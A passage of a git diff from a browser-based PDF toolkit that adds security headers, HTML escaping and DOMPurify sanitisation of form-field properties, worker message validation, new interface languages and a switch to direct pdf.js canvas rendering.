${commonHeaders}`;
const docsContents = `add_header Content-Security-Policy "${docsCsp}" always;
${commonHeaders}`;
const outPath = join(repoRoot, 'security-headers.conf');
const docsOutPath = join(repoRoot, 'security-headers-docs.conf');
writeFileSync(outPath, contents);
writeFileSync(docsOutPath, docsContents);
console.log(
`[security-headers] wrote ${outPath} with ${scriptOrigins.length} script-src / ${connectOrigins.length} connect-src origin(s)`
);
console.log(`[security-headers] wrote ${docsOutPath} (docs CSP)`);
+9
View File
@@ -0,0 +1,9 @@
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: blob: https:; font-src 'self' data: https://fonts.gstatic.com; connect-src 'self' https://api.github.com https://fonts.gstatic.com https://cdn.jsdelivr.net https://bentopdf-cors-proxy.bentopdf.workers.dev; object-src 'none'; base-uri 'self'; frame-ancestors 'self'; form-action 'self'" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), camera=(), microphone=(), payment=(), usb=(), interest-cohort=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "credentialless" always;
add_header Cross-Origin-Resource-Policy "cross-origin" always;
+24
View File
@@ -423,6 +423,30 @@
"created_at": "2026-04-03T13:28:21Z",
"repoId": 1074785178,
"pullRequestNo": 631
},
{
"name": "ntfreak",
"id": 264539,
"comment_id": 4209692697,
"created_at": "2026-04-08T21:13:13Z",
"repoId": 1074785178,
"pullRequestNo": 648
},
{
"name": "SerhiiZahuba",
"id": 36307887,
"comment_id": 4222030130,
"created_at": "2026-04-10T07:48:24Z",
"repoId": 1074785178,
"pullRequestNo": 628
},
{
"name": "tkymmm",
"id": 136296842,
"comment_id": 4223696357,
"created_at": "2026-04-10T12:20:50Z",
"repoId": 1074785178,
"pullRequestNo": 650
}
]
}
+20 -1
View File
@@ -43,7 +43,26 @@ interface ErrorResult {
message: string;
}
self.onmessage = function (e: MessageEvent<WorkerMessage>) {
function isValidMessage(data: unknown): data is WorkerMessage {
if (!data || typeof data !== 'object') return false;
const m = data as Record<string, unknown>;
if (typeof m.id !== 'number') return false;
if (m.type === 'diff') {
return Array.isArray(m.beforeItems) && Array.isArray(m.afterItems);
}
if (m.type === 'pair') {
return Array.isArray(m.leftPages) && Array.isArray(m.rightPages);
}
return false;
}
self.onmessage = function (e: MessageEvent<unknown>) {
if (e.origin && e.origin !== '' && e.origin !== self.location.origin) {
return;
}
if (!isValidMessage(e.data)) {
return;
}
const msg = e.data;
try {
if (msg.type === 'diff') {
+8 -1
View File
@@ -720,7 +720,14 @@ async function handleMultiFileUpload(toolId: string) {
'w-full h-36 sm:h-40 md:h-44 bg-gray-900 rounded-md border-2 border-gray-600 flex items-center justify-center overflow-hidden';
const img = document.createElement('img');
img.src = url;
try {
const parsed = new URL(url);
if (parsed.protocol === 'blob:') {
img.src = parsed.href;
}
} catch {
console.warn('Invalid blob URL for preview');
}
img.className = 'max-w-full max-h-full object-contain';
const p = document.createElement('p');
+10 -4
View File
@@ -21,6 +21,8 @@ export const supportedLanguages = [
'da',
'sv',
'ko',
'ja',
'ua',
] as const;
export type SupportedLanguage = (typeof supportedLanguages)[number];
@@ -43,6 +45,8 @@ export const languageNames: Record<SupportedLanguage, string> = {
da: 'Dansk',
sv: 'Svenska',
ko: '한국어',
ja: '日本語',
ua: 'Українська',
};
export const getLanguageFromUrl = (): SupportedLanguage => {
@@ -58,7 +62,7 @@ export const getLanguageFromUrl = (): SupportedLanguage => {
}
const langMatch = path.match(
/^\/(en|ar|fr|es|de|zh|zh-TW|vi|tr|id|it|pt|nl|be|da|ko|sv|ru)(?:\/|$)/
/^\/(en|ar|fr|es|de|zh|zh-TW|vi|tr|id|it|pt|nl|be|da|ko|sv|ru|ja|ua)(?:\/|$)/
);
if (
langMatch &&
@@ -148,7 +152,7 @@ export const changeLanguage = (lang: SupportedLanguage): void => {
let pagePathWithoutLang = relativePath;
const langPrefixMatch = relativePath.match(
/^\/(en|ar|fr|es|de|zh|zh-TW|vi|tr|id|it|pt|nl|be|da|ko|sv|ru)(\/.*)?$/
/^\/(en|ar|fr|es|de|zh|zh-TW|vi|tr|id|it|pt|nl|be|da|ko|sv|ru|ja|ua)(\/.*)?$/
);
if (langPrefixMatch) {
pagePathWithoutLang = langPrefixMatch[2] || '/';
@@ -231,7 +235,9 @@ export const rewriteLinks = (): void => {
href.startsWith('mailto:') ||
href.startsWith('tel:') ||
href.startsWith('#') ||
href.startsWith('javascript:')
href.startsWith('javascript:') ||
href.startsWith('data:') ||
href.startsWith('vbscript:')
) {
return;
}
@@ -241,7 +247,7 @@ export const rewriteLinks = (): void => {
}
const langPrefixRegex = new RegExp(
`^(${basePath.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')})?/?(en|ar|fr|es|de|zh|zh-TW|vi|tr|id|it|pt|nl|be|da|ko|sv|ru)(/|$)`
`^(${basePath.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')})?/?(en|ar|fr|es|de|zh|zh-TW|vi|tr|id|it|pt|nl|be|da|ko|sv|ru|ja|ua)(/|$)`
);
if (langPrefixRegex.test(href)) {
return;
+11 -11
View File
@@ -232,22 +232,22 @@ function showInputModal(
if (field.type === 'text') {
return `
<div class="mb-4">
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
<label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
<input type="text" id="modal-${field.name}" value="${escapeHTML(String(defaultValues[field.name] || ''))}"
class="w-full px-3 py-2 border border-gray-300 rounded-lg text-gray-900"
placeholder="${field.placeholder || ''}" />
placeholder="${escapeHTML(field.placeholder || '')}" />
</div>
`;
} else if (field.type === 'select') {
return `
<div class="mb-4">
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
<label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
<select id="modal-${field.name}" class="w-full px-3 py-2 border border-gray-300 rounded-lg text-gray-900">
${field.options
.map(
(opt) => `
<option value="${opt.value}" ${defaultValues[field.name] === opt.value ? 'selected' : ''}>
${opt.label}
<option value="${escapeHTML(opt.value)}" ${defaultValues[field.name] === opt.value ? 'selected' : ''}>
${escapeHTML(opt.label)}
</option>
`
)
@@ -261,7 +261,7 @@ placeholder="${field.placeholder || ''}" />
defaultValues.destX !== null && defaultValues.destX !== undefined;
return `
<div class="mb-4">
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
<label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
<div class="p-3 bg-gray-50 rounded-lg border border-gray-200 space-y-2">
<div class="flex items-center gap-2">
<label class="flex items-center gap-1 text-xs">
@@ -313,7 +313,7 @@ class="w-full px-2 py-1 border border-gray-300 rounded text-sm text-gray-900" />
} else if (field.type === 'preview') {
return `
<div class="mb-4">
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
<label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
<div id="modal-preview" class="style-preview bg-gray-50">
<span id="preview-text" style="font-size: 16px;">Preview Text</span>
</div>
@@ -326,7 +326,7 @@ class="w-full px-2 py-1 border border-gray-300 rounded text-sm text-gray-900" />
modal.innerHTML = `
<div class="p-6">
<h3 class="text-xl font-bold text-gray-800 mb-4">${title}</h3>
<h3 class="text-xl font-bold text-gray-800 mb-4">${escapeHTML(title)}</h3>
<div class="mb-6">
${fieldsHTML}
</div>
@@ -830,7 +830,7 @@ function showConfirmModal(message: string): Promise<boolean> {
modal.innerHTML = `
<div class="p-6">
<h3 class="text-xl font-bold text-gray-800 mb-4">Confirm Action</h3>
<p class="text-gray-600 mb-6">${message}</p>
<p class="text-gray-600 mb-6">${escapeHTML(message)}</p>
<div class="flex gap-2 justify-end">
<button id="modal-cancel" class="px-4 py-2 rounded-lg bg-gray-200 hover:bg-gray-300 text-gray-700">Cancel</button>
<button id="modal-confirm" class="px-4 py-2 rounded btn-gradient text-white">Confirm</button>
@@ -882,8 +882,8 @@ function showAlertModal(title: string, message: string): Promise<boolean> {
modal.innerHTML = `
<div class="p-6">
<h3 class="text-xl font-bold text-gray-800 mb-4">${title}</h3>
<p class="text-gray-600 mb-6">${message}</p>
<h3 class="text-xl font-bold text-gray-800 mb-4">${escapeHTML(title)}</h3>
<p class="text-gray-600 mb-6">${escapeHTML(message)}</p>
<div class="flex justify-end">
<button id="modal-ok" class="px-4 py-2 rounded btn-gradient text-white">OK</button>
</div>
+35 -16
View File
@@ -71,22 +71,41 @@ function updateFileDisplay(): void {
fileControls.classList.remove('hidden');
deskewOptions.classList.remove('hidden');
fileDisplayArea.innerHTML = selectedFiles
.map(
(file, index) => `
<div class="flex items-center justify-between bg-gray-700 p-3 rounded-lg">
<div class="flex items-center gap-3">
<i data-lucide="file-text" class="w-5 h-5 text-indigo-400"></i>
<span class="text-gray-200 truncate max-w-xs">${file.name}</span>
<span class="text-gray-500 text-sm">(${(file.size / 1024).toFixed(1)} KB)</span>
</div>
<button class="remove-file text-gray-400 hover:text-red-400" data-index="${index}">
<i data-lucide="x" class="w-5 h-5"></i>
</button>
</div>
`
)
.join('');
fileDisplayArea.textContent = '';
selectedFiles.forEach((file, index) => {
const row = document.createElement('div');
row.className =
'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
const info = document.createElement('div');
info.className = 'flex items-center gap-3';
const fileIcon = document.createElement('i');
fileIcon.setAttribute('data-lucide', 'file-text');
fileIcon.className = 'w-5 h-5 text-indigo-400';
const nameSpan = document.createElement('span');
nameSpan.className = 'text-gray-200 truncate max-w-xs';
nameSpan.textContent = file.name;
const sizeSpan = document.createElement('span');
sizeSpan.className = 'text-gray-500 text-sm';
sizeSpan.textContent = `(${(file.size / 1024).toFixed(1)} KB)`;
info.append(fileIcon, nameSpan, sizeSpan);
const removeBtn = document.createElement('button');
removeBtn.className = 'remove-file text-gray-400 hover:text-red-400';
removeBtn.dataset.index = String(index);
const removeIcon = document.createElement('i');
removeIcon.setAttribute('data-lucide', 'x');
removeIcon.className = 'w-5 h-5';
removeBtn.appendChild(removeIcon);
row.append(info, removeBtn);
fileDisplayArea.appendChild(row);
});
createIcons({ icons });
+9 -2
View File
@@ -203,8 +203,15 @@ function initializePage(): void {
if (sigImageThumb && sigImagePreview) {
const url = URL.createObjectURL(file);
sigImageThumb.src = url;
sigImagePreview.classList.remove('hidden');
try {
const parsed = new URL(url);
if (parsed.protocol === 'blob:') {
sigImageThumb.src = parsed.href;
sigImagePreview.classList.remove('hidden');
}
} catch {
console.warn('Invalid blob URL for signature preview');
}
}
}
});
+92 -221
View File
@@ -18,17 +18,10 @@ type LucideWindow = Window & {
createIcons(): void;
};
};
type PdfViewerApplicationLike = {
pdfViewer?: {
pagesCount: number;
};
};
type PdfViewerWindow = Window & {
PDFViewerApplication?: PdfViewerApplicationLike;
};
import DOMPurify from 'dompurify';
import { initializeGlobalShortcuts } from '../utils/shortcuts-init.js';
import { downloadFile, hexToRgb } from '../utils/helpers.js';
import { downloadFile, escapeHtml, hexToRgb } from '../utils/helpers.js';
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
import { createIcons, icons } from 'lucide';
import * as pdfjsLib from 'pdfjs-dist';
@@ -68,8 +61,6 @@ let uploadedPdfjsDoc: PDFDocumentProxy | null = null;
let uploadedFileName: string | null = null;
let pageSize: { width: number; height: number } = { width: 612, height: 792 };
let currentScale = 1.333;
let pdfViewerOffset = { x: 0, y: 0 };
let pdfViewerScale = 1.333;
let resizing = false;
let resizeField: FormField | null = null;
@@ -730,7 +721,7 @@ function renderField(field: FormField): void {
field,
'#ffffff'
);
contentEl.innerHTML = `<div class="flex items-center gap-2 px-2"><i data-lucide="calendar" class="w-4 h-4"></i><span class="text-sm date-format-text">${field.dateFormat || 'mm/dd/yyyy'}</span></div>`;
contentEl.innerHTML = `<div class="flex items-center gap-2 px-2"><i data-lucide="calendar" class="w-4 h-4"></i><span class="text-sm date-format-text">${escapeHtml(field.dateFormat || 'mm/dd/yyyy')}</span></div>`;
setTimeout(() => (window as LucideWindow).lucide?.createIcons(), 0);
} else if (field.type === 'image') {
contentEl.className =
@@ -739,7 +730,7 @@ function renderField(field: FormField): void {
field,
'#f3f4f6'
);
contentEl.innerHTML = `<div class="flex flex-col items-center text-center p-1"><i data-lucide="image" class="w-6 h-6 mb-1"></i><span class="text-[10px] leading-tight">${field.label || 'Click to Upload Image'}</span></div>`;
contentEl.innerHTML = `<div class="flex flex-col items-center text-center p-1"><i data-lucide="image" class="w-6 h-6 mb-1"></i><span class="text-[10px] leading-tight">${escapeHtml(field.label || 'Click to Upload Image')}</span></div>`;
setTimeout(() => (window as LucideWindow).lucide?.createIcons(), 0);
} else if (field.type === 'barcode') {
contentEl.className = 'w-full h-full flex items-center justify-center';
@@ -764,7 +755,8 @@ function renderField(field: FormField): void {
contentEl.appendChild(img);
} catch (error) {
console.warn(
`Failed to render barcode preview for field "${field.name}":`,
'Failed to render barcode preview for field:',
String(field.name).replace(/[\r\n]+/g, ' '),
error
);
contentEl.innerHTML = `<div class="flex flex-col items-center text-center p-1 text-gray-400"><i data-lucide="qr-code" class="w-6 h-6 mb-1"></i><span class="text-[10px] leading-tight">Invalid data</span></div>`;
@@ -1115,7 +1107,7 @@ function showProperties(field: FormField): void {
specificProps = `
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Value</label>
<input type="text" id="propValue" value="${field.defaultValue}" ${field.combCells > 0 ? `maxlength="${field.combCells}"` : field.maxLength > 0 ? `maxlength="${field.maxLength}"` : ''} class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propValue" value="${escapeHtml(field.defaultValue)}" ${field.combCells > 0 ? `maxlength="${field.combCells}"` : field.maxLength > 0 ? `maxlength="${field.maxLength}"` : ''} class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Max Length (0 for unlimited)</label>
@@ -1161,11 +1153,11 @@ function showProperties(field: FormField): void {
specificProps = `
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Group Name (Must be same for group)</label>
<input type="text" id="propGroupName" value="${field.groupName}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propGroupName" value="${escapeHtml(field.groupName)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Export Value</label>
<input type="text" id="propExportValue" value="${field.exportValue}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propExportValue" value="${escapeHtml(field.exportValue)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div class="flex items-center justify-between bg-gray-600 p-2 rounded mt-2">
<label for="propChecked" class="text-xs font-semibold text-gray-300">Checked State</label>
@@ -1178,13 +1170,13 @@ function showProperties(field: FormField): void {
specificProps = `
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Options (One per line or comma separated)</label>
<textarea id="propOptions" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24">${field.options?.join('\n')}</textarea>
<textarea id="propOptions" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24">${escapeHtml(field.options?.join('\n') ?? '')}</textarea>
</div>
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Selected Option</label>
<select id="propSelectedOption" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<option value="">None</option>
${field.options?.map((opt) => `<option value="${opt}" ${field.defaultValue === opt ? 'selected' : ''}>${opt}</option>`).join('')}
${field.options?.map((opt) => `<option value="${escapeHtml(opt)}" ${field.defaultValue === opt ? 'selected' : ''}>${escapeHtml(opt)}</option>`).join('')}
</select>
</div>
<div class="text-xs text-gray-400 italic mt-2">
@@ -1195,7 +1187,7 @@ function showProperties(field: FormField): void {
specificProps = `
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Label</label>
<input type="text" id="propLabel" value="${field.label}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propLabel" value="${escapeHtml(field.label)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Action</label>
@@ -1210,11 +1202,11 @@ function showProperties(field: FormField): void {
</div>
<div id="propUrlContainer" class="${field.action === 'url' ? '' : 'hidden'}">
<label class="block text-xs font-semibold text-gray-300 mb-1">URL</label>
<input type="text" id="propActionUrl" value="${field.actionUrl || ''}" placeholder="https://example.com" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propActionUrl" value="${escapeHtml(field.actionUrl || '')}" placeholder="https://example.com" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div id="propJsContainer" class="${field.action === 'js' ? '' : 'hidden'}">
<label class="block text-xs font-semibold text-gray-300 mb-1">Javascript Code</label>
<textarea id="propJsScript" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24 font-mono">${field.jsScript || ''}</textarea>
<textarea id="propJsScript" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24 font-mono">${escapeHtml(field.jsScript || '')}</textarea>
</div>
<div id="propShowHideContainer" class="${field.action === 'showHide' ? '' : 'hidden'}">
<div class="mb-2">
@@ -1225,7 +1217,7 @@ function showProperties(field: FormField): void {
.filter((f) => f.id !== field.id)
.map(
(f) =>
`<option value="${f.name}" ${field.targetFieldName === f.name ? 'selected' : ''}>${f.name} (${f.type})</option>`
`<option value="${escapeHtml(f.name)}" ${field.targetFieldName === f.name ? 'selected' : ''}>${escapeHtml(f.name)} (${escapeHtml(f.type)})</option>`
)
.join('')}
</select>
@@ -1291,7 +1283,7 @@ function showProperties(field: FormField): void {
</div>
<div id="customFormatContainer" class="${isCustom ? '' : 'hidden'} mt-2">
<label class="block text-xs font-semibold text-gray-300 mb-1">Custom Format</label>
<input type="text" id="propCustomFormat" value="${isCustom ? field.dateFormat : ''}" placeholder="e.g. dd/mm/yyyy HH:MM:ss" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propCustomFormat" value="${isCustom ? escapeHtml(field.dateFormat ?? '') : ''}" placeholder="e.g. dd/mm/yyyy HH:MM:ss" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div class="mt-3 p-2 bg-gray-700 rounded">
<span class="text-xs text-gray-400">Example of current format:</span>
@@ -1308,7 +1300,7 @@ function showProperties(field: FormField): void {
specificProps = `
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Label / Prompt</label>
<input type="text" id="propLabel" value="${field.label}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propLabel" value="${escapeHtml(field.label)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div class="text-xs text-gray-400 italic mt-2">
Clicking this field in the PDF will open a file picker to upload an image.
@@ -1330,17 +1322,17 @@ function showProperties(field: FormField): void {
</div>
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Barcode Value</label>
<input type="text" id="propBarcodeValue" value="${field.barcodeValue || ''}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propBarcodeValue" value="${escapeHtml(field.barcodeValue || '')}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div id="barcodeFormatHint" class="text-xs text-gray-400 italic"></div>
`;
}
propertiesPanel.innerHTML = `
const propertiesHtml = `
<div class="space-y-3">
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Field Name ${field.type === 'radio' ? '(Group Name)' : ''}</label>
<input type="text" id="propName" value="${field.name}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propName" value="${escapeHtml(field.name)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<div id="nameError" class="hidden text-red-400 text-xs mt-1"></div>
</div>
${
@@ -1353,7 +1345,10 @@ function showProperties(field: FormField): void {
<select id="existingGroups" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<option value="">-- Select existing group --</option>
${Array.from(existingRadioGroups)
.map((name) => `<option value="${name}">${name}</option>`)
.map(
(name) =>
`<option value="${escapeHtml(name)}">${escapeHtml(name)}</option>`
)
.join('')}
${Array.from(
new Set(
@@ -1364,7 +1359,7 @@ function showProperties(field: FormField): void {
)
.map((name) =>
!existingRadioGroups.has(name)
? `<option value="${name}">${name}</option>`
? `<option value="${escapeHtml(name)}">${escapeHtml(name)}</option>`
: ''
)
.join('')}
@@ -1377,7 +1372,7 @@ function showProperties(field: FormField): void {
${specificProps}
<div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Tooltip / Help Text</label>
<input type="text" id="propTooltip" value="${field.tooltip}" placeholder="Description for screen readers" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<input type="text" id="propTooltip" value="${escapeHtml(field.tooltip)}" placeholder="Description for screen readers" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div class="flex items-center">
<input type="checkbox" id="propRequired" ${field.required ? 'checked' : ''} class="mr-2">
@@ -1405,6 +1400,10 @@ function showProperties(field: FormField): void {
</div>
`;
propertiesPanel.innerHTML = DOMPurify.sanitize(propertiesHtml, {
ADD_ATTR: ['target'],
});
// Common listeners
const propName = document.getElementById('propName') as HTMLInputElement;
const nameError = document.getElementById('nameError') as HTMLDivElement;
@@ -1794,7 +1793,7 @@ function showProperties(field: FormField): void {
field.options
?.map(
(opt) =>
`<option value="${opt}" ${currentVal === opt ? 'selected' : ''}>${opt}</option>`
`<option value="${escapeHtml(opt)}" ${currentVal === opt ? 'selected' : ''}>${escapeHtml(opt)}</option>`
)
.join('');
@@ -2228,23 +2227,11 @@ downloadBtn.addEventListener('click', async () => {
const pdfPage = pdfDoc.getPage(field.pageIndex);
const { height: pageHeight } = pdfPage.getSize();
const scaleX = 1 / pdfViewerScale;
const scaleY = 1 / pdfViewerScale;
const adjustedX = field.x - pdfViewerOffset.x;
const adjustedY = field.y - pdfViewerOffset.y;
const x = adjustedX * scaleX;
const y = pageHeight - adjustedY * scaleY - field.height * scaleY;
const width = field.width * scaleX;
const height = field.height * scaleY;
console.log(`Field "${field.name}":`, {
screenPos: { x: field.x, y: field.y },
adjustedPos: { x: adjustedX, y: adjustedY },
pdfPos: { x, y, width, height },
metrics: { offset: pdfViewerOffset, scale: pdfViewerScale },
});
const x = field.x / currentScale;
const y =
pageHeight - field.y / currentScale - field.height / currentScale;
const width = field.width / currentScale;
const height = field.height / currentScale;
if (field.type === 'text') {
const textField = form.createTextField(field.name);
@@ -2339,11 +2326,17 @@ downloadBtn.addEventListener('click', async () => {
if (existingField) {
radioGroup = existingField as PDFRadioGroup;
radioGroups.set(groupName, radioGroup);
console.log(`Using existing radio group from PDF: ${groupName}`);
console.log(
'Using existing radio group from PDF:',
String(groupName).replace(/[\r\n]+/g, ' ')
);
} else {
radioGroup = form.createRadioGroup(groupName);
radioGroups.set(groupName, radioGroup);
console.log(`Created new radio group: ${groupName}`);
console.log(
'Created new radio group:',
String(groupName).replace(/[\r\n]+/g, ' ')
);
}
}
@@ -2500,7 +2493,12 @@ downloadBtn.addEventListener('click', async () => {
JS: field.jsScript,
});
} else if (field.action === 'showHide' && field.targetFieldName) {
const target = field.targetFieldName;
const target = field.targetFieldName
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"')
.replace(/\r/g, '\\r')
.replace(/\n/g, '\\n')
.replace(/\0/g, '\\0');
let script: string;
if (field.visibilityAction === 'show') {
@@ -2704,7 +2702,8 @@ downloadBtn.addEventListener('click', async () => {
pdfPage.drawImage(pngImage, { x, y, width, height });
} catch (e) {
console.warn(
`Failed to generate barcode for field "${field.name}":`,
'Failed to generate barcode for field:',
String(field.name).replace(/[\r\n]+/g, ' '),
e
);
}
@@ -2862,181 +2861,53 @@ async function renderCanvas(): Promise<void> {
canvas.innerHTML = '';
if (uploadedPdfDoc) {
if (uploadedPdfjsDoc) {
try {
const arrayBuffer = await uploadedPdfDoc.save();
const blob = new Blob([arrayBuffer.buffer as ArrayBuffer], {
type: 'application/pdf',
});
const blobUrl = URL.createObjectURL(blob);
const pdfjsPage = await uploadedPdfjsDoc.getPage(currentPageIndex + 1);
const viewport = pdfjsPage.getViewport({ scale: currentScale });
const iframe = document.createElement('iframe');
iframe.src = `${import.meta.env.BASE_URL}pdfjs-viewer/viewer.html?file=${encodeURIComponent(blobUrl)}#page=${currentPageIndex + 1}&toolbar=0`;
iframe.style.width = '100%';
iframe.style.height = `${canvasHeight}px`;
iframe.style.border = 'none';
iframe.style.position = 'absolute';
iframe.style.top = '0';
iframe.style.left = '0';
iframe.style.pointerEvents = 'none';
iframe.style.opacity = '0.8';
const pageCanvas = document.createElement('canvas');
pageCanvas.width = viewport.width;
pageCanvas.height = viewport.height;
pageCanvas.style.position = 'absolute';
pageCanvas.style.top = '0';
pageCanvas.style.left = '0';
pageCanvas.style.pointerEvents = 'none';
iframe.onload = () => {
try {
const viewerWindow = iframe.contentWindow as PdfViewerWindow | null;
if (viewerWindow && viewerWindow.PDFViewerApplication) {
const app = viewerWindow.PDFViewerApplication;
const ctx = pageCanvas.getContext('2d');
if (ctx) {
await pdfjsPage.render({
canvasContext: ctx,
viewport,
canvas: pageCanvas,
}).promise;
}
const style = viewerWindow.document.createElement('style');
style.textContent = `
* {
margin: 0 !important;
padding: 0 !important;
}
html, body {
margin: 0 !important;
padding: 0 !important;
background-color: transparent !important;
overflow: hidden !important;
}
#toolbarContainer {
display: none !important;
}
#mainContainer {
top: 0 !important;
position: absolute !important;
left: 0 !important;
margin: 0 !important;
padding: 0 !important;
}
#outerContainer {
background-color: transparent !important;
margin: 0 !important;
padding: 0 !important;
}
#viewerContainer {
top: 0 !important;
background-color: transparent !important;
overflow: hidden !important;
margin: 0 !important;
padding: 0 !important;
}
.toolbar {
display: none !important;
}
.pdfViewer {
padding: 0 !important;
margin: 0 !important;
}
.page {
margin: 0 !important;
padding: 0 !important;
border: none !important;
box-shadow: none !important;
}
`;
viewerWindow.document.head.appendChild(style);
canvas.appendChild(pageCanvas);
const checkRender = setInterval(() => {
if (app.pdfViewer && app.pdfViewer.pagesCount > 0) {
clearInterval(checkRender);
if (pendingFieldExtraction && uploadedPdfDoc) {
pendingFieldExtraction = false;
extractExistingFields(uploadedPdfDoc);
extractedFieldNames.forEach((name) => existingFieldNames.delete(name));
const pageContainer =
viewerWindow.document.querySelector<HTMLElement>('.page');
if (pageContainer) {
const initialRect = pageContainer.getBoundingClientRect();
const offsetX = -initialRect.left;
const offsetY = -initialRect.top;
pageContainer.style.transform = `translate(${offsetX}px, ${offsetY}px)`;
setTimeout(() => {
const rect = pageContainer.getBoundingClientRect();
const style = viewerWindow.getComputedStyle(pageContainer);
const borderLeft = parseFloat(style.borderLeftWidth) || 0;
const borderTop = parseFloat(style.borderTopWidth) || 0;
const borderRight = parseFloat(style.borderRightWidth) || 0;
pdfViewerOffset = {
x: rect.left + borderLeft,
y: rect.top + borderTop,
};
const contentWidth = rect.width - borderLeft - borderRight;
pdfViewerScale = contentWidth / currentPage.width;
console.log('📏 Calibrated Metrics (force positioned):', {
initialPosition: {
left: initialRect.left,
top: initialRect.top,
},
appliedTransform: { x: offsetX, y: offsetY },
finalRect: {
left: rect.left,
top: rect.top,
width: rect.width,
height: rect.height,
},
computedBorders: {
left: borderLeft,
top: borderTop,
right: borderRight,
},
finalOffset: pdfViewerOffset,
finalScale: pdfViewerScale,
pdfDimensions: {
width: currentPage.width,
height: currentPage.height,
},
});
if (pendingFieldExtraction && uploadedPdfDoc) {
pendingFieldExtraction = false;
extractExistingFields(uploadedPdfDoc);
extractedFieldNames.forEach((name) =>
existingFieldNames.delete(name)
);
const form = uploadedPdfDoc.getForm();
for (const name of extractedFieldNames) {
